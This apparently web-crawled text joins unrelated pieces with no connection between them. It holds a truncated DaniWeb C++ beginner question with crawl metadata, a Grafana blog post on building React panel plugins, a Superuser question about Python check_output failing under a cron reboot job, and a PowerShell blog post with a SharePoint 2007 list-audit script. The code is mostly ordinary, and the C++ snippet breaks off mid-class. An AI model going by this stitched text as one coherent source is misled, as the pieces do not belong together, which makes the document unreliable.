#include "stdafx.h" #include <iostream> using namespace std; #include "FlightManager.cpp" int _tmain(int argc, _TCHAR* argv[]) { cout << "Welcome to Airline Manager v1.0" << endl << endl; FlightManager fMan;
which is Airline Project.cpp
and this:
#include "stdafx.h" #include <iostream> using namespace std; #include <fstream> using namespace std; #include <cstdlib> using namespace std; #include "Flight.cpp" class FlightManager { public : FlightManager();
which is in FlightManager.cpp
I have tried a few different solutions that I found but will admit that c++ is getting the better of me | https://www.daniweb.com/programming/software-development/threads/190375/beginner-question | CC-MAIN-2018-43 | refinedweb | 179 | 51.14 |
I am a total beginner and wanted to play around with Python's check_output function.
I have a user based cron job that opens a bash file which in turn opens a Python script to be executed on boot up. I am running my Raspberry pi headless but am using screen to be able to check up on the Python process if I wanted to SSH in.
My user crontab looks like this and starts perfectly fine as the Python script actually starts and almost works.
@reboot sleep 30 && sh /home/pi/launcher.sh >>/home/pi/logs/cronlog 2>&1
This is the bash file that starts screen and then the Python script
#!/bin/sh screen -h 500 -S Telegram -d -m /usr/bin/python /home/pi/telegram/bot2.py
This is the Python file that has the issues. I can start it just fine and can verify that it is working. But check_output gives me an error.
import os import sys import time import telepot from telepot.loop import MessageLoop from subprocess import call from subprocess import check_output from subprocess import CalledProcessError print 'Hello' def handle(msg): chat_id = msg['chat']['id'] command = msg['text'] print 'Got command: %s' % command if command == 'Status': try: result = check_output(['service','hostapd','status']) except CalledProcessError as exc: result = exc.output MessageLoop(bot, handle).run_as_thread() print 'I am listening ...' while 1: time.sleep(10)
This is the error I get. Interestingly, simple call processes do not give me that error and are working fine.
Got command: Status Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/telepot/loop.py", line 37, in run_forever self._handle(msg) File "/home/pi/telegram/bot2.py", line 31, in handle result = check_output(['service','hostapd','status']) 1024, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory
I hope someone can help me. I have a feeling that it has something to do with permissions or environments on boot.
It is very important to add that the whole thing works like a charm when I go in manually and start the bash file myself when I'm logged in.
EDIT: I did some poking around and I get a different error now:
Got command: Status /bin/sh: 1: service: not found
I changed the command in the Python script to
result = check_output(["service hostapd status"], shell=True ) | https://superuser.com/questions/1430360/python-script-cannot-use-check-output-when-used-through-cron-at-reboot | CC-MAIN-2020-50 | refinedweb | 393 | 65.42 |
In this blog post we will go through how you can create plugins for Grafana using ReactJS. This presumes you have some basic knowledge about writing components in React.
(complete code for the example used in this post can be found here).
In Grafana 6.0 we started the migration to using React in Grafana. This allows you to write plugins using React instead of AngularJS. We are making it easier to write React plugins by releasing a Grafana component library - the new @grafana/ui npm package. The new npm package is still in Alpha and we are making breaking changes to the react plugin framework. But we want to encourage people to test it and give us early feedback.
Let’s take a look at how you can build your own plugin, using React and TypeScript.
Setup
There are a few things to consider when writing a new plugin. With Grafana 6.0, we need to move our plugins directory
outside of the Grafana project directory. Feel free to put your plugins directory where you usually store code on your computer.
Next, we need to tell Grafana where it should look for plugins. Grafana comes with a
defaults.ini file in
grafana/conf/, and we can overwrite this by
creating and modifying a
custom.ini. So put yourself in the
grafana/conf directory and
cp defaults.ini custom.ini.
Open
custom.ini with your file editor of choice and search for this phrase:
Directory where grafana will automatically scan and look for plugins
Modify the line under that to:
plugins = <path to your plugins directory>
Restart your grafana-server after this.
Now we’re ready to move on!
The Structure
Grafana needs some basic project structure in your plugin. Grafana will look for a
plugin.json located in a
src
directory. The
plugin.json should contain some information about your plugin; you can read more about it
here.
Also within the
src directory we need a
module.tsx file. In this file, we will introduce the first magic from our
newly-released
@grafana/ui package.
import { PanelPlugin } from '@grafana/ui'; import { RssPanel } from './components/RssPanel'; import { RssPanelEditor } from './components/RssPanelEditor'; import { defaults, RssOptions } from './types'; export const reactPanel = new PanelPlugin<RssOptions>(RssPanel); reactPanel.setEditor(RssPanelEditor); reactPanel.setDefaults(defaults);
Let’s go through this and figure out what this file does:
First off, we’re creating a new instance of a
ReactPanelPlugin, which is a class imported from @grafana/ui. We’re sending in our option type (in this case RssOptions, which we’ll get to later).
Next up we’re setting the editor component for our plugin with the
setEditor()function.
Lastly we’re setting any default options that we might have.
That’s it!
The Panel
Now we’re at the fun part. This is where you can let your creativity flow. In this example we’re building an Rss-panel,
and what we’re going to need is some kind of table to display our result. We’re going to use an interface exported by
@grafana/ui called
PanelProps. This will provide us with the props we need, such as height and width. I won’t go into
any specifics about writing React components, but I will highlight some things that we do to make our panels written in
React work.
Basic setup of a panel class:
interface Props extends PanelProps<RssOptions> {} interface State {} export class RssPanel extends PureComponent<Props, State> {}
It’s important to use React’s life cycle methods to make sure your component updates when the props change. We
do this by invoking
componentDidUpdate in our Rss-panel example. So when our user updates the url to the rss feed, we will
update the panel to fetch an rss feed from the new url. In this example we’re using a library called
rss-to-json to
fetch and transform the rss feed to javascript objects.
The Panel editor
For adding options to Plugins, we’re using a concept called Editors. In this example we’ll create a component called
<RssPanelEditor />. We have an interface for Editors in
@grafana/ui as well, called
PanelEditorProps. If we
provide our options type to this interface, we will have the
onChange method available for updating our panel when
we change the options.
export class RssPanelEditor extends PureComponent<PanelEditorProps<RssOptions> { onUpdatePanel = () => this.props.onChange({ ...this.props.options, feedUrl: 'this new rss feed url' }); }
Types
We strongly encourage you to use types in your panel. This makes it easier for you and others to spot potential bugs. In
this example we’ve added some types for
RssFeed,
RssFeedItem, and
RssOptions. These are located in
src/types.ts.
Building
To be able to load the plugin, Grafana expects the code to be in plain JavaScript. We’re using webpack for the build step to transpile TypeScript to JavaScript in our RSS-plugin example.
Testing
Start your grafana-server again, and make sure that your plugin is registered.
Registering plugin logger=plugins name="Rss Panel"
Add a new panel to a dashboard, and locate your new panel in the visualization picker.
| https://grafana.com/blog/2019/03/26/writing-react-plugins/ | CC-MAIN-2020-24 | refinedweb | 850 | 57.57 |
Summary: Marc Adam Carter talks about using Windows PowerShell to smooth the way for a large SharePoint 2007 migration.
Microsoft Scripting Guy, Ed Wilson, is here. Today our guest blogger is Marc Adam Carter…
If you’re responsible for administering a SharePoint 2013 or SharePoint 2010 farm, I’d have to say that things are looking pretty good right now with the availability of management tools. The SharePoint administration lawn is seriously greener on these farms.
Let’s face it, even if you haven’t yet migrated from an older platform, such as Microsoft Office SharePoint Server 2007 (MOSS 2007), you’re already likely aware of the library of 500 plus SharePoint-specific cmdlets that are exposed in the SharePoint Management Shell. This proprietary shell is derived from a special base class (SPCmdlet), which is installed on top of the core Windows cmdlets.
The SPCmdlet base class is included in the Microsoft.SharePoint.PowerShell namespace, which gets installed as part of the SharePoint binaries. Although this is less useful information for MOSS 2007 admins, it’s valuable to understand, and something I hope to clarify within this blog post.
So if you are like me, with one foot still in the Microsoft Office SharePoint Server 2007 (MOSS 2007) world, most of your administrative work occurs within the Central Administration pages or by using the STSADM command-line tool.
These tools are sufficient for managing our farm, but we’re preparing to upgrade soon and want to migrate content from our existing environment to our new one. As part of our content migration process, we want to spend a little time cleaning up sites so we don’t simply move stale or unused content into our new farm. We also want to identify inconsistencies that are occurring between content and our governance policy. For example, we require that all libraries and lists include a brief description to help staff identify the content, intent, or purpose of a library or list.
Leveraging the .NET Framework
Unfortunately, neither Central Administration nor STSADM are extremely effective for easily providing the details we’re looking for. Although we don’t have access to built-in SharePoint PowerShell cmdlets in MOSS 2007, we can still reference the .NET Framework and the Microsoft.SharePoint assembly to create our own scripts so that we can produce quick customizable reports.
Before diving into the script I put together, I’m compelled to apologize for it lacking a polished, ready-to-ship quality, which is standard for the level of contributions to this site. As with a large majority of scripts in my personal library, I write with the intent of efficiently accomplishing a goal. I may use a script like this one a couple times, and occasionally refer back to it. But for me, there’s no advantage of rolling it up into a function or module. It may not be the shiniest tool in my Windows PowerShell tool belt, but it’s one of my favorites.
Dependencies
There are two SharePoint requirements for this script to function as expected:
- You'll need to run this script with an account that is a member of the SharePoint administrators group. Members of the SharePoint administrators group have rights to view and manage all sites created on their servers.
- You'll need to use the Microsoft.SharePoint core class. Similarly to what I mentioned earlier, this namespace provides a path for interacting with site collections, websites, lists, and list items. The base assembly is added to a system’s Global Assembly Cache (GAC) when SharePoint is installed. So trying to execute the script from a system without SharePoint installed will result in the following error message, which tells you it couldn’t locate the assembly: “Verify that the assembly containing this type is loaded.”
Initial variable declarations
First things first. We need to load the .NET Assembly and define a few initial variables that we’ll use later in the script.
[void] [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SharePoint")
$testDate = (get-date).AddMonths(-6)
$array = @()
$SPSite = New-Object Microsoft.SharePoint.SPSite("")
Because one of the goals is to identify old or stale content, I’m defining a DateTime variable ($testDate) on line #2 to use as a comparison later when I have some objects with dates. The other static configuration is to specify the URL of the web application you want to query. The script will iterate through all site and subsite collections found under this URL.
Drilling into site collections
We’ll traverse through the site collections by using a couple nested ForEach loops to drill down to the website level so we can inspect the various objects of the SPList class. Entering the first ForEach loop, we’ll define the top-level site and create a temporary site collection variable ($SiteCollection). This will return all websites within the site collection in the inner ForEach loop by referencing the AllWebs property.
But before entering the inner ForEach loop, we’ll write the URL of the site collection we’re currently inspecting to the screen ($SPSiteCollection.url), so we get some feedback while running the script to see where we’re at.
We’ll also create a string variable ($SiteUrl) that we’ll use when outputting the results to a CSV file later in the outer loop. Within the inner ForEach loop, we’ll define a temporary site variable ($SPWeb) by using the OpenWeb method and passing it the relative path, then returning the website associated with the URL.
We’ve now arrived at the website level, and we can start collecting information about our SharePoint objects (for example, lists, document libraries, and picture libraries). The final step we’ll perform in the inner loop is to populate our array with the selected properties.
}
I select only the properties I’m concerned about for the scope of this task, but after you’ve defined your website variable ($SPWeb), you can use the Get-Member cmdlet to inspect the methods and properties of the SPList class.
Package results and send to CSV file
We’ve traveled down to the object level and filled our SharePoint bucket with details about each SPList object. The last stop on this ride is to package those results into a format that is easy to use and one that can be handed off to our site administrators and data owners to consume.
At this point, we’ve exited our inner loop and passed the contents of our array along the pipeline. The last little bit of “trickery” is to include some logic to help identify the problematic objects we’re looking for. To accomplish this we’ll use Select-Object to create a calculated property column labeled “Questionable.”
To build this column, we’ll evaluate a few properties within a hash table to see if they meet our criteria, and indicating that we have a suspect object. After the calculated column, we use the asterisk ( * ) to specify that we want all the other objects from the array. We then pass those objects to Export-CSV. The following table itemizes a breakdown of the evaluation criteria that is used in the calculated column:
= @()
Because we’ll repeat this process for each site collection within a web application, the script outputs a separate CSV file for each site collection, and lists all the subsites contained within that site collection. This allows us to inspect content for a specific site collection, depending on your topology per content database.
The following image provides an example of one of the CSV files generated by the script. Note the first column is our calculated column, which provides a quick reference to potentially low-hanging fruit.
Following is the complete script:
[void] [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SharePoint")
$testDate = (Get-Date).AddMonths(-6)
$array = @()
$SPSite = New-Object Microsoft.SharePoint.SPSite("") = @()
}
I hope you find this information useful and that it helps you with your SharePoint migration. Cheers!
~Marc
Thank-you, Marc, for your knowledge and time and for sharing with our readers.
Wonderful post however I was wondering if you could write a little more on this topic? I’d be very thankful if you could elaborate a little bit further. Thank you!">SharePoint 2013 Developer training Online | https://blogs.technet.microsoft.com/heyscriptingguy/2014/07/10/use-windows-powershell-to-prepare-for-migration-from-sharepoint-2007/ | CC-MAIN-2016-50 | refinedweb | 1,373 | 52.09 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.